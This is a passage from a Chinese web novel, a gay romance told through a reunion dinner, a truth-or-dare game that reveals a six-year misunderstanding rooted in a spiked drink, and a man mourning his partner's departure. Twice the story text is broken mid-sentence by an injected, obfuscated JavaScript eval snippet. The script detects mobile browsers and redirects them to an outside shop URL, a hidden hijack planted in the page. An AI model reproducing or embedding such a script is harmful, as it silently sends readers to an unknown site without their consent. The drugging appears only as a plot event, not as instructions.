他们去了曾经的二十七中。正是上课时间,校园里很安静,只有隐约的读书声和篮球拍打地面的声音从围墙内传来。他们绕着围墙慢慢走,走过当年放学常去买零食的后门小摊(现在变成了连锁便利店),走过那个总被他们吐槽、却偷偷翻过无数次的矮墙缺口(已经被水泥封死)。 他们还去了物价昂贵、他们当年只能偶尔奢侈一把的商业街,把那些曾经对着橱窗流口水、却因为囊中羞涩只能路过的餐厅、甜品店、奶茶铺……一家家,一样样,吃了个遍。味道或许并没有记忆中想象得那么惊艳,但坐在明亮的店里,看着对方被食物塞得鼓鼓的脸颊,相视一笑时,某种被时间和生活磋磨出的厚茧,似乎在悄然软化。 邵既明没有再出现。是秦朗强行把他带离了淮汐。用秦朗后来在电话里对周冉的话说:“刚把人心捅了个对穿,血还没止住呢,就别戳在人家眼皮子底下当人形伤口展览器了,晦气,也缺德。”周冉对此不置可否,但心里清楚,秦朗这次算是做了件人事。 被秦朗几乎是押送回程的邵既明,重新站在了那栋位于城市核心区别墅门前。密码锁发出轻微的“嘀”声,厚重的门向内开启。门内与他离开时,似乎并无不同。 定时上门的家政人员将一切打理得井井有条,家具纤尘不染,摆放得一丝不苟。没有杂物,没有随手扔下的外套,没有看到一半摊在沙发上的书,没有喝了一半还冒着热气的马克杯。 邵既明慢慢地走进去,脚步在空旷的客厅里发出轻微的回响。他的目光缓缓扫过这个他住了近两年、却在此刻感到无比陌生的空间。 然后,他看见了那些东西。 不,它们一直都在。只是过去,他像穿过空气一样穿过它们,视之为背景,理所当然。 可现在,它们无比清晰地撞进他的视线。 沙发角落,那只浅米色、触感异常柔软的羊绒盖毯,是南景在某年秋末逛街时一眼看中的,说这个颜色衬得客厅很沉静。他当时只是“嗯”了一声,没在意。现在,那毯子以一种等待被使用的姿态搭在那里,边缘有一个小线头,是南景有一次不小心勾到的,他说要找个同色线缝一下,后来……好像就那样了。 茶几上,那个造型古怪的陶土摆件,一只歪着脖子、表情呆滞的猫。是南景和同事去手工陶艺馆团建做的,做得不怎么样,却兴致勃勃地带了回来,说“看,像不像你早上没睡醒的样子?”他当时只觉得幼稚,随手放在了那里。此刻,那只丑猫在射灯下,呆滞的眼神仿佛正无声地望着他。 落地窗边的天堂鸟,叶片舒展,绿意盎然。是南景搬进来不久后买的,说家里需要点生气。他每周会精心擦拭叶片,定期浇水施肥,还专门查了资料调整摆放位置。而他,大概只在这植物长得格外茂盛时,才会偶尔瞥上一眼。 还有书架角落里那几个憨态可掬的木质小动物摆件,是南景逛市集时淘的;电视柜上那个设计简约却温暖的烛台,是南景说冬天点起来会有氛围;开放式厨房岛台上,那两个同款不同色、总是靠在一起的马克杯,是南景买的,说“情侣款”……甚至冰箱上那些已经有些卷边的便利贴,上面是南景清秀的字迹,提醒着他各种琐事。 这个家里,几乎没有一件东西,是未经南景的手挑选、摆放、或赋予意义的。是南景,用无数个他未曾留心的日子,一点一滴,将这套冰冷的房产,填充、温暖、变成了一个“家”。 而他呢? 他回忆起来。 当南景兴奋地向他展示新买的毯子时,他可能在低头回邮件,只给了个模糊的鼻音。 当南景献宝似的拿出那只丑猫陶偶时,他或许正在看财报,淡淡说了句“放那儿吧”。 当南景在雨天细心擦拭天堂鸟叶片时,他可能刚从健身房出来,径直上了楼,没多看一眼。 当南景在便利贴上写下“牛奶快过期了”时,他大概只是扫过,然后忘记。 他给予的,最多是默许。是允许这些东西进入他的空间,允许南景做这些事。但他从未真正“看见”过这些举动背后,南景小心翼翼捧出的、想要共同经营一个家的期待和热忱。他把南景的用心,当成了维持这个空间舒适运行的服务,把南景因他而产生的快乐或失落,当成了不必要的情绪波动。 他一直站在自己的世界里,觉得给出了“关系”和“空间”就是全部。却从未想过,要走进南景用这些琐碎物品和日复一日努力营造出那个名为“我们”的世界里去看一看。 他甚至,用一场始于误会的冰冷堤防,将那个世界隔绝在外。 邵既明缓缓在沙发上坐下,坐的位置恰好是南景平时最喜欢窝着看书的地方。羊绒毯柔软的触感透过单薄的裤料传来。他抬起手,似乎想碰碰那只丑猫陶偶,指尖却在半空中停住。 屋子里温暖如春,灯火通明,昂贵的一切都在它该在的位置。 但他却觉得,前所未有的冷,和空。 原来,有些东西,失去了才看得见形状。 而那形状,是如此清晰,如此……触目惊心。 离开淮汐前,司南约他们吃饭,两人也是欣然前往。 “哎呦喂,我的冉姐,你们是不知道!”司南一见他们进来,立刻从椅子上弹起来,“这家店,巨~~难约!老板娘脾气超怪,一天就做一桌,预约都排到半年后了!我可是动用了陈序那家伙的‘美色’(虽然我觉得主要是他的钱包和死皮赖脸),才硬生生插队抢到今天的位子!” 他今天穿了件oversize的灰色连帽卫衣,衬得脸更小,眼睛圆溜溜的,确实像个还没毕业的大学生,可可爱爱,让人忍不住想揉一把。 周冉环顾四周。这私房菜馆藏在一栋颇有年头的老式居民楼顶层,装修基本就是原汁原味的老房子格局,墙壁甚至还能看出当年石灰的斑驳痕迹,家具是深色的老木头,带着经年累月的温润光泽,窗台上摆着几盆茂盛的绿萝。“啧,有那味儿了,”周冉拉开一张厚重的木椅坐下,指尖拂过桌面清晰的木纹,“像小时候我姥姥家,老旧旧的。” 南景脱下外套,仔细挂在门边的老式衣帽架上,也走过来坐下,鼻翼微微翕动:“嗯,刚刚从楼下走楼梯上来,拐过三楼就闻到香味了,勾得肚子直叫。是炖了很久的肉香,还有……菌子的鲜味?” “对对对!南景哥你鼻子真灵!”司南猛点头,“这里招牌就是各种功夫菜,炖的、煨的、蒸的,火候足得不得了!老板娘祖上是御厨呢,传下来的手艺!”他顿了顿,有点不好意思地挠挠头,“其实……是陈序那家伙带我来的。他啊,别的不行,找吃的是一绝,整个一‘人形大众点评·尊享付费版’,哪儿有好吃的,门儿清。” 周冉伸长手臂,隔着小方桌,薅了一把司南毛茸茸的脑袋:“哟,这会儿一口一个陈序叫得挺甜啊?前两天是谁哭得一把鼻涕一把泪,在酒吧抱着南景喊我要跟他分手、他是永动机、我屁股遭不住了来着?嗯?是我幻听了吗?” 司南被揉得脑袋晃了晃,也不躲,反而就势蹭了蹭周冉的手心,脸上浮起两朵可疑的红晕“哎呀……冉姐你别取笑我了嘛……我、我那就是……酒后吐真言!夸张了一点点!”他伸出小拇指比了一丢丢,“而且……我倒是想跑,跑得掉吗?他那个人,跟装了GPS似的,我躲到天涯海角他都能把我拎回来……每次被抓回去,遭罪的还不是我……屁股都成两半了……” 南景刚喝了一口店家自酿的米酒,闻言差点呛到,抽了张纸巾擦嘴角:“司南,容我提醒你一句,人类的屁股,生来就是两半的。这是正常生理结构,不是你遭罪的证据。” “那不一样!”司南猛地抬起头,义愤填膺地比划,“以前是自然的两半!现在是……是饱经风霜、承受了生命不可承受之重的两半!感觉中间那道缝都被……被撑大了!走路都感觉漏风!”他说完,自己也觉得这比喻太扯,又忍不住噗嗤笑出来,肩膀一抖一抖的。 周冉拍着桌子狂笑,差点把桌上的茶杯震倒:“漏风?哈哈哈哈! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周冉和南景也各夹了一块。果然入口即化,肉香、酱香、还有隐约的荸荠颗粒带来的清甜爽口,完美融合。周冉边吃边点头:“嗯,不错不错,是对屁股……啊不是,是对胃口的补偿。” 司南幽怨地看了她一眼:“冉姐!吃饭呢!别提那个部位!”他化悲愤为食量,又狠狠咬了一大口狮子头,含糊不清地说,“你们说,人怎么能分裂成这样?找吃的的时候细心体贴,连老板娘养的猫喜欢哪种小鱼干都记得;一到晚上就变身哥斯拉,拆家都不带这么狠的!” 这时,第二道菜上来了,是一盘清炒时蔬,嫩绿的小青菜油亮亮的,看着就清爽。南景夹了一筷子,笑道:“那你就是被哥斯拉攥在手心里的东京市民,一边抱怨楼塌了,一边还得靠他找吃的续命。” “精辟!”周冉举杯,“来,为东京市民司南同学,和他那提供全方位服务的哥斯拉男友,干一杯!” 司南苦着脸举杯:“这杯我干了,你们随意……但愿今晚哥斯拉心情好,只踩塌两栋楼就收工。” “两栋楼?”周冉挑眉,“你那饱经风霜的……结构,还能撑两栋?” 司南立刻捂住耳朵:“不听不听!冉姐念经!我要化食欲为力量!”他开始猛攻那盘青菜,仿佛吃的是陈序的“良心”。 南景笑着摇头,给司南碗里夹了块最大的狮子头:“多吃点,补补。” 司南看着碗里那块硕大的狮子头,悲从中来:“南景哥,连你也……我感觉这不是狮子头,这是陈序的拳头,他在警告我多吃点,晚上好有力气‘挨打’。” 后续又上了香气扑鼻的鸡汤煨笋干、酥烂脱骨的梅菜扣肉、鲜掉眉毛的蟹粉豆腐……每一道菜都引来一阵惊叹和更凶残的抢夺(主要是司南和周冉),而吐槽陈序的“暴行”和司南的“血泪史”则成了最佳佐餐笑料。 等到最后一道酒酿圆子甜品上桌时,司南已经撑得瘫在椅子上,摸着小肚子哼哼:“完了完了……吃了这么多,晚上哥斯拉要是发现我储备能源充足,会不会开启地狱模式啊……” 周冉慢悠悠地舀起一颗糯白的小圆子,吹了吹:“怕什么?你就跟他说,哥斯拉大人,今日份的东京已饱受创伤,申请休战一日,修复防御工事。” 南景也吃完了自己那份,擦了擦嘴,给出终极建议:“或者,你可以反客为主,告诉他,今日进补完毕,感觉能量充沛,申请主动出击,更换战场模式。” 司南想象了一下那个画面,猛地打了个寒颤,把头摇得像拨浪鼓:“不不不!那我会死得更快!我还是继续当我的东京市民吧,至少熟悉地形……” 三人对视一眼,同时爆发出大笑。 15. 隔壁,夫夫,来打酱油 三人吃得肚皮滚圆,说说笑笑地下了老旧的楼梯。接司南的黑色轿车已经悄无声息地停在巷口昏黄的路灯下,穿着制服的司机恭敬地拉开车门等候。 “冉姐,南景哥,走,换个地方续摊!”司南兴致勃勃地安排,“去江边一家清吧,陈序和另外两个朋友已经在那边了。环境不错,不吵,一起去喝一杯聊聊天?” 南景看了一眼周冉,眼神里有着“我们跟去会不会打扰别人聚会”的迟疑。司南立刻捕捉到了,连连摆手:“没事没事!我都跟他们说好了,带两个特别有意思的朋友过来!陈序也知道的,他脸臭归脸臭,人还是讲……一点点道理的。”最后几个字他说得有点心虚。 “行啊,闲着也是闲着。”周冉倒是爽快,揉了揉吃撑的胃,“正好消化消化。走吧南小景,见识见识司南小朋友的社交圈。” 车子平稳地驶入夜色,穿过霓虹闪烁的市区,渐渐朝着江边开去。约莫四十多分钟后,停在一处临江的建筑前。酒吧门脸并不张扬,隐约能听到里面传来舒缓的吉他伴奏和沙哑迷人的女声吟唱,的确不似寻常酒吧那般喧闹。 司南显然是熟客,对迎上来的服务生点了点头,便带着周冉和南景穿过灯光幽暗、布置颇有格调的大厅,径直走向延伸向江面的玻璃房区域。透明的玻璃外,是沉沉的夜色和江对岸璀璨的灯火,像一幅流动的画卷。 司南推开一扇厚重的包间门,里面空间宽敞,靠江的整面墙都是落地玻璃,视野极佳。柔软的皮质沙发上,已经坐着三个人。 “我们来啦!”司南扬声喊道。 周冉和南景跟着他走了进去。包间里暖气足,带着淡淡的雪茄和威士忌的醇香。司南正要转身介绍,周冉的目光已经落在了沙发正中的一个男人身上。 那人穿着一件黑色衬衣,戴着一副无边框眼镜,面容清俊,气质温润,正端着酒杯侧耳听旁边的人说话。周冉眼睛微微睁大,几乎是脱口而出:“小苏老师?” 被唤作“小苏老师”的男人闻声抬头,目光带着些许疑惑落在周冉脸上,似乎在记忆中快速搜索,但并未立刻对上号。他放下酒杯,露出一个温和而略带歉意的笑容:“你好,我们……认识吗?” “苏廷敬老师是你父亲吧?”周冉上前一步,语气肯定,“他是我们高中时候的历史老师,我们大概……六年前?在市医院的电梯里见过一面!我们在电梯里碰上的!” 苏牧闻言,微微蹙眉努力回想,那段记忆因为母亲和妹妹生病而蒙着一层焦虑的薄雾,确实有些模糊。几秒钟后,他眉头舒展,恍然道:“啊……好像是有这么回事。那时候心里乱,匆匆一面,实在抱歉,没太记住。”他站起身,态度依旧谦和。 “哇!这么巧的吗?!”司南在一旁惊讶地瞪圆了眼睛,看看周冉又看看苏牧,随即兴奋地拍手,“这也太有缘分了吧!绕了这么大一圈,居然还能碰上!果然世界就是个圈!” 周冉咧嘴一笑,大大方方地承认:“主要是小苏老师您颜值在线,气质出众,过目难忘啊。虽然就一面,但这张帅脸还是给我幼小的心灵留下了不可磨灭的印象。” 苏牧被她直白的夸奖弄得有些不好意思,推了推眼镜,失笑道:“快别这么说了,再夸我可要找个地缝钻进去了。都是陈年旧事,不值一提。快请坐。”他侧身示意,又自然地揽过旁边那位从他们进门起就只是安静坐着、气场却不容忽视的男人的肩膀,介绍道:“哦,对了,这是我爱人,狄宸。” 被称作狄宸的男人看起来三十五六岁年纪,穿着一身剪裁极为合体的深色西装,没打领带,衬衫领口松开一粒扣子。他有着一张极为英俊硬朗的脸,轮廓分明,眉眼深邃,即使坐着也身姿笔挺,周身散发着一种久居上位、沉淀下来的沉稳与威严,是那种经过岁月打磨后愈发有味道的“硬帅”。他朝周冉和南景微微颔首:“你们好。”目光平静地扫过,带着一种礼节性的审视,但并不让人感到压迫。 “狄先生好。”南景也礼貌地点头回应,态度不卑不亢。周冉则笑着挥了挥手:“狄哥好!” 两人在旁边的空沙发坐下。司南则非常自觉地蹭到了坐在单人沙发里、从他们进门就面无表情的冷脸帅哥——陈序的身边。神奇的是,当司南挨着他坐下,甚至下意识地拽了拽他袖口时,陈序那身生人勿近的冰冷气场,以肉眼可见的速度消融了几分,虽然脸上还是没什么笑容,但紧抿的唇线柔和了,看向司南的眼神里带上了纵容(和某种“晚上再算账”的深意)。 服务生适时地进来,询问喝什么。南景要了杯温水,周冉则兴致勃勃地看着酒单。 司南是天然的暖场高手,周冉的吐槽接梗能力一流,苏牧看着温润,玩起来竟也毫不扭捏,接得住各种玩笑。南景虽然话不算最多,但被气氛带动,也放松下来,偶尔的犀利吐槽总能戳中笑点。陈序依旧话少,但司南每次咋呼着cue他,他都能给出回应,眼神多半落在身边那个活宝身上。狄宸则像一座沉稳的山,大部分时间只是倚在沙发里,唇角噙着一丝若有似无的笑意,看着这群年轻人闹腾,只在关键时刻,或苏牧看过来时,才淡淡插上一两句,往往一语中的。 几轮酒下来,拘谨早已飞到九霄云外。司南眼珠一转,拍着桌子提议:“光喝酒没意思!来玩点刺激的!真心话大冒险,怎么样?经典永不过时!” “我OK啊,谁怕谁。”周冉立刻响应,撸了撸袖子。 苏牧扶了扶眼镜,笑容温和却带着点看好戏的意味:“我也可以奉陪。” 南景看了眼兴致勃勃的周冉,点头:“行,我没问题。” “陈序~”司南立刻扭成麻花,蹭到陈序身边,拽着他胳膊晃啊晃,声音甜得能齁死人,“你也玩嘛,好不好?就玩一下嘛~” 陈序垂眼看他,脸上没什么表情,但也没抽开手臂,只从鼻子里“嗯”了一声:“可以。” 然后,几道目光齐刷刷投向沙发上那位气场最强的“大佬”。 狄宸正拿着酒杯的手顿了顿,眉梢微挑,深邃的目光在苏牧含笑的脸上停留一瞬,又扫过一脸期待的司南和看热闹不嫌事大的周冉,最终缓缓吐出两个字:“好。” “欧耶~~~!”司南欢呼,差点从沙发上蹦起来,“那就简单点,骰子比大小!点数最小的接受惩罚!” 第一轮,周冉扶额:“啧,出师不利啊我这手气。” “哈哈哈哈哈!愿赌服输!冉姐,选吧,真心话还是大冒险?”司南立刻进入裁判角色。 “真心话。”周冉毫不犹豫,一副“姐行得正坐得直”的架势。 “好!”司南搓搓手,显然早有腹稿,问题刁钻又不至太过火,“请说出……你觉得迄今为止,最让你感到愧疚的一件事。要具体的!” 周冉端起酒杯喝了一口,似乎真的在认真思考。几秒后,她放下杯子,表情有点微妙,清了清嗓子:“咳咳……最愧疚的啊……我曾经,骗过一个女孩儿。” “哦?”南景转过头看她,这事他也没听过。 “哇,冉姐你好坏啊!”司南立刻捧场,满脸写着“快展开说说”。 “就……高中毕业那年的派对嘛,”周冉摸了摸鼻子,眼神有点飘忽,“玩得挺嗨。有个女孩,很像男孩的那种,我们聊得特别投机。后来不知道怎么就聊到取向……她说她喜欢女孩子。” 她顿了顿,似乎在回忆当时的场景,语气带着点懊恼和荒诞:“然后我也不知道哪根筋搭错了,可能喝多了,也可能……就想逗逗她?我就跟她说……我也是。” “噗~”苏牧没忍住,笑出了声,赶紧捂住嘴,肩膀抖动。 “然后呢然后呢?”司南催促。 “然后……就约着一起吃饭、看电影、逛街什么的呗。”周冉摊手,“那女孩特别认真,对我特别好。直到有一天……她亲了我。” 她做了个“僵住”的动作,表情有点滑稽:“我当时就跟被点穴了一样,全身硬邦邦的,根本不敢动!然后我发现……我根本亲不下去!脑子里一片空白,只有‘我是谁我在哪我在干什么’的弹幕飘过。” 南景无奈地摇头,嘴角却弯了起来。连陈序的眼里都掠过极淡的笑意。 “后来更绝,”周冉扶额,一脸不堪回首,“有一次玩太晚,她留我过夜。我们躺一张床上,好家伙,那简直是我这辈子睡过最笔直的觉!楚河汉界,泾渭分明,我连翻身都不敢用力,生怕碰到她!一晚上没睡,盯着天花板思考人生。” “哈哈哈哈哈哈!”司南已经笑得滚进陈序怀里,陈序顺手揽住他,防止他掉下去。 “什么时候的事?我怎么不知道?”南景问。 “就高中毕业后的派对上啊,没多久我就出国了。”周冉说道。 “那后来呢?那女孩怎么样了?”司南从陈序怀里探出头,擦着笑出来的眼泪问。 “后来?后来我就滚出国了呗,也算……某种意义上的跑路?”周冉自嘲,“现在偶尔还有联系,她早就有女朋友了,感情还挺稳定。之前聊天,我出于愧疚和八卦问她近况,你们猜怎么着?” 她压低声音,做出一个震惊的表情:“她们居然是开放式关系!我当时就惊了,感觉我的世界观受到了冲击!”她拍了拍胸口,一脸“我还是太单纯”的表情,“我在感情方面,可能还是比较……传统?反正理解不了,但尊重祝福。” “冉姐,”司南好不容易止住笑,擦着眼角,语重心长地说,“你这样骗人感情,小心以后遭雷劈哦。” “去你的!”周冉抓起一颗桌上的坚果扔他,“我那顶多算青春期认知模糊加酒精误事!再说了,我后来真诚忏悔了!倒是你,”她话锋一转,眼神危险地眯起,看向司南和搂着他的陈序,“某些自称永动机、把对象折腾得哭爹喊娘、还让对象觉得屁股漏风的人,才该小心天打雷劈吧?” 司南瞬间涨红了脸,鸵鸟一样把脑袋埋进陈序颈窝:“冉姐你耍赖!说好问完就翻篇的!” 陈序抬手,安抚似的揉了揉司南的后颈,抬眼看向周冉:“我家的事,不劳费心。雷劈下来,我挡着。” “哟~~”周冉拉长调子,起哄地鼓起掌来,“护上了护上了!可以啊陈序!” 苏牧也笑着摇头,狄宸则拿起酒杯,向陈序的方向微微示意,两人隔空碰了个“男人都懂”的眼神。 游戏继续。骰盅在桌面上哗啦啦作响,揭开时,点数最小的赫然是陈序。他脸上没什么表情,甚至没等众人发问,直接伸手拿过桌上那瓶刚开的威士忌,对着瓶口就灌了下去——不是一杯,而是接连灌了三大口,喉结快速滚动,辛辣的液体滑过喉咙,他面不改色地放下酒瓶,用手背抹了下唇角:“过。” 动作干脆利落,带着一种“别来问我”的强硬气场。众人见状,也识趣地没强求,只是司南在旁边小小声“哇”了一下,眼神里混杂着崇拜和一点点“晚上要完”的担忧。 下一轮,骰子落定,司南看着自己可怜的“两点”,哀嚎一声:“啊~~风水轮流转!” 陈序作为上一轮的输家,拥有向下一轮输家提问的权利。他身体向后靠进沙发,手臂自然地搭在司南身后的靠背上,形成一个半包围的姿势,目光平静地落在司南瞬间垮掉的小脸上:“真心话,还是大冒险?” “真、真心话……”司南咽了口口水,莫名觉得后脖颈有点凉。 陈序微微颔首,似乎很满意这个选择。他略微倾身,拉近了与司南的距离,深邃的眼眸锁住他,问出了一个看似简单、却让司南瞬间头皮发麻的问题:“你还有什么……关于感情上的小秘密,是我不知道的?” “额……啊?这个……”司南的眼睛开始乱瞟,冷汗差点下来。他试图耍赖,声音都弱了八度:“那个……陈序,我现在选大冒险……还来得及吗?” “不能。”陈序的回答斩钉截铁,毫无转圜余地。 全桌的目光都聚焦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046466|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在司南身上,连一直作壁上观的狄宸都投来饶有兴味的视线。苏牧似乎预感到了什么,想开口打圆场,但被狄宸轻轻按了下手背,示意他静观其变。 司南骑虎难下,脸憋得通红,在陈序那几乎要把他看穿的目光下,终于自暴自弃般闭上眼睛,语速飞快地小声嘟囔:“那个……我还没开始就死掉的初恋对象……是苏牧……” 话音刚落,陈序脸上那点本就稀少的温度瞬间褪尽,眼神倏地冷了下来,静静地看着司南,又缓缓移向对面一脸“我就知道要糟”的苏牧。 “哎哎哎!打住打住!”苏牧立刻举起双手,做出投降和澄清的姿势,哭笑不得,“司南小朋友,话要说清楚啊!那根本不算!我们俩纯属乌龙,发现撞号之后就立刻‘和平分手’——啊不,是根本就没开始过!陈序你别误会,我对你家小朋友绝对没有非分之想,以前没有,现在没有,以后更不会有!”他可是太清楚陈序对司南那近乎偏执的占有欲和在意程度了。 司南也意识到自己惹祸了,赶紧抱住陈序的胳膊,脑袋蹭上去,急急忙忙解释:“对对对!就是撞号!苏牧哥是0,我也是0,我俩撞得头破血流,根本没有发展的可能!而且那都是几百年前的老黄历了!” 或许是为了进一步证明自己的清白,也或许是酒意上涌加上急于表忠心,司南的嘴巴又开始不受控制地跑火车,试图用更多黑历史来证明自己对陈序的专一:“说起这个我就来气!我高中那会儿眼光可能有问题,喜欢苏牧哥,撞号!大学时候我觉得我眼光正常了,喜欢南景,结果又他妈撞号!我当时气得啊,差点没背过气去!一怒之下,我、我还给南景下过药呢!你说我是不是有病!” 最后那句话,他说得又急又快,带着点“你看我多蠢多离谱所以你快别生气了”的破罐子破摔。 “你说什么?”陈序的声音陡然沉了下去,带着山雨欲来的冷厉,他捏住司南的下巴,强迫他抬起头看着自己,“你给南景下药?什么时候的事?说清楚。” “哎呀,你别吃醋嘛!都、都六年前的老黄历了!我现在心里眼里全是你,最爱你,只爱你一个啊!真的!我发誓!”司南被陈序的眼神吓到,酒醒了大半。 而另一边,南景在听到下药两个字时,他缓缓抬起头,看向司南,眼神里充满了困惑:“什么时候的事?我怎么不知道。” 司南被陈序和南景两道目光夹击,欲哭无泪,只能硬着头皮回忆,声音小得像蚊子哼哼:“就……就大一那年,你们篮球队聚餐那次……我、我本来想下给南景哥的,但他没喝……后来,后来那酒好像被、被邵既明喝了吧?我记不太清了,我当时太慌了……”他说完,恨不得把脑袋缩进衣领里,彻底当个鸵鸟。 “哐当”一声轻响。 是南景手中的玻璃杯,底座与茶几桌面碰撞发出的声音。不是很响,但在突然寂静下来的包间里,格外清晰。 南景觉得自己的心跳在那一瞬间变得很重,很慢,然后又开始疯狂加速,撞得耳膜嗡嗡作响。大一……篮球队聚餐……邵既明喝了那杯酒…… 散乱的记忆碎片被这句话强行拼凑、串联,指向一个他从未想过荒谬的真相。 他想起那晚灯光迷离的酒吧,想起邵既明异常泛红的脸和急促的呼吸,想起自己好心送他回酒店房间,想起对方滚烫的皮肤和不由分说压下来的重量,想起那混乱又炙热的一夜,也想起第二天清晨,邵既明醒来时那双带着审视和疏离的眼睛。 他以为,那一晚是酒精作用下的意乱情迷,是彼此都有好感的半推半就,是他们关系的起点,虽然始于混乱,但总归带着一点互相喜欢的底色。所以这六年,他努力付出,小心翼翼,以为自己经营一份虽然平淡但或许细水长流的感情。 可现在有人告诉他,那杯导致一切开始的酒,里面被下了药。而下药的目标,原本是他南景。阴差阳错,被邵既明喝了。 而邵既明……一直以为,那杯药,是他南景下的? 南景的血液似乎在这一刻变得冰凉。他想起了不久前,在酒店门外那场激烈的争吵中,邵既明说的些话: 「是你要到我身边来的。」 「当初是你给我那杯酒的。」 「这六年来,不都是这样的吗?」 原来如此。 原来,在邵既明的认知里,那场始于药物的混乱,是他南景处心积虑的设计。所以他点头答应试试,或许根本不是因为什么喜欢或好感,而是一种……被设计后冷漠的顺水推舟?或者,是某种报复? 这六年,邵既明那始终隔着一层的疏离,那吝于付出的情感,那理所当然的接受,那习惯就好的态度……原来不仅仅是他性格冷淡,不仅仅是他不懂爱。 那可能是一场持续了六年的、无声的惩罚和漠视。因为他认定,起点是一场算计,所以不值得投入真心,只需要维持表面的稳定和省心,就够了。 而他南景,像个彻头彻尾的傻瓜,怀抱着对那份错误起点,掏心掏肺了六年,最后只换来一句“你闹什么”、“我们之间没有任何变化”。 胸口闷痛得几乎无法呼吸,耳边嗡嗡作响,眼前的光影都有些晃动。 后面游戏又进行了几轮,谁赢了,谁输了,选了真心话还是大冒险,大家又说了什么笑话,周冉好像又毒舌了谁,司南似乎又在哄陈序……这些声音和画面,都像是隔着一层厚重的毛玻璃,模糊而遥远。 南景安静地坐在那里,脸上甚至勉强维持着一点僵硬礼貌的弧度,偶尔在别人看过来时,还会极轻微地点点头。 他脑海里只剩下一个念头,反复盘旋,碾压过每一寸理智和情感: 原来这六年,他所以为的一切,他小心翼翼维护的一切,他痛苦挣扎后决定放弃的一切…… 从一开始,就建立在这样一个可笑、可悲、又残酷的误会之上。 而他,直到彻底离开的此刻,才堪堪窥见这误会冰山的一角。 16. 他站在光里,光里没有我 车子停在别墅前,他推门下车,夜风一吹,酒意混杂着更深的眩晕猛地窜上头顶。 他背脊挺得笔直,用残存的意志力维持着步伐的稳定,指纹解锁,推开别墅大门。玄关感应灯应声而亮,照亮空无一人的过道。前一秒,他的身影还带着冷硬轮廓;后一秒,大门在身后自动缓缓合拢。 几乎是同时,“咚!” 一声不算太响、但足够清晰的闷响,从门内传来。是重物撞击在实木家具上的声音。 尚未离开的周助隐约听到,心里咯噔一下,下意识想:应该不会是他老板吧?刚才看着……好像还能走直线?嗯,肯定不是。下一秒,职业素养让他立刻悄无声息转身离开。我什么都不知道,什么都没听见。 门内,邵既明并没有如周助脑补那般狼狈倒地。他只是因为骤然卸力加上眩晕,整个人失去平衡,前额重重地磕在了玄关的装饰矮柜边缘。 他晃了晃头,试图驱散那阵嗡鸣和眼前乱窜的金星。视线下意识地扫向地面,玄关处,原本并排放置的两双居家拖鞋,现在只剩下一双属于他的。旁边那双鞋头有个可爱羊毛毡笑脸的位置,空荡荡的。那是南景的拖鞋,他记得南景说这个笑脸看起来傻乎乎的,很解压。 南景回来了? 他几乎是踉跄着直起身,甩开脚上硌人的皮鞋,甚至没去穿那双孤零零的拖鞋,就这么赤着脚,踩着冰凉的大理石地面,快步走进了客厅。 灯没开。只有窗外庭院灯微弱的光线渗入,一切看起来都和他离开时一样。整洁,空旷,昂贵,了无生气。 不对。不一样。 他的目光急切地扫过每一个角落——沙发上的毯子依旧搭在那里,但折叠的边角过于规整,是家政阿姨的手法,不是南景随手一披的随意;茶几上纤尘不染,没有看到南景看了一半倒扣着的书;那盆天堂鸟还在窗边,但叶片似乎有些蔫了…… “南景?”他喉咙干涩,无意识地低唤了一声。 酒精和某种近乎恐慌的冲动驱使着他,他转身,几乎是跑着冲上了楼梯。他猛地推开主卧紧闭的房门—— “怎么又喝那么多?” 恍惚间,他好像听到一个熟悉的声音,带着些许无奈和关切,在耳边响起。他甚至仿佛看到那个熟悉的身影从床上掀开被子,快步朝他走来,眉头微蹙,眼神里全是心疼的柔软。 “给你备了蜂蜜水,喝点。你再这么喝,你的胃都得去看老中医了。” 幻觉。是记忆,还是他醉得太厉害产生的幻听? 邵既明狠狠闭了闭眼,再睁开。卧室里一片黑暗,只有门廊的光线在地上投出一小片梯形光区。没有人掀开被子,没有人朝他走来,更没有那杯总是温温蜂蜜水。 他打开灯,刺目的光线让他眯了眯眼。房间和他离开时一模一样,甚至更整洁。他快步走到大床的左侧——那是南景习惯睡的一边。他单膝跪在床边,有些急切地拉开了床头柜的抽屉。 首先映入眼帘的,是一个小小的木质相框,背朝上放着。他拿起来,翻转。 他好像从来都没有,和南景好好拍过一张合影。南景提过几次,说“我们好像连张像样的合照都没有”,他总是以“麻烦”、“没必要”搪塞过去。原来,南景只能通过这样的方式,留存一点关于“他们”的影像。 相框旁边,静静地躺着一串钥匙扣。很廉价,塑料材质,造型是个憨态可掬的卡通招财猫,颜色都有些褪了。邵既明盯着它看了好几秒,才依稀想起,好像是某次在进口超市买东西,金额到了一定数额送的赠品。当时南景也在,接过赠品时眼睛亮了一下,小声说“还挺可爱”。他当时不以为意,觉得这种东西拿不出手。可南景却像得了什么宝贝,仔仔细细地收了起来,甚至舍不得真的挂在钥匙上,怕磨坏了。 邵既明的手指有些颤抖,轻轻拂过那只褪色的招财猫。他将钥匙扣小心翼翼地放回原处,又将那张偷拍的相框,拿出来摆在床头柜上。做完这些,他撑着床边站起来,有些踉跄地走向衣帽间。 他的衣服占据了大半空间,按照色系和种类排列得一丝不苟。而属于南景的那一侧,原本挂得满满当当的衣柜,此刻空了大半。但并非全空。几件他印象中是自己“顺手”给南景买的衣服,都还整整齐齐地挂在那里。南景一件都没带走。 他只带走了真正属于他自己的东西,那些带着他个人印记、用自己钱买的、或者对他有特别意义的物品。而这些带着“邵既明”标签的馈赠,被他原封不动地留下了。 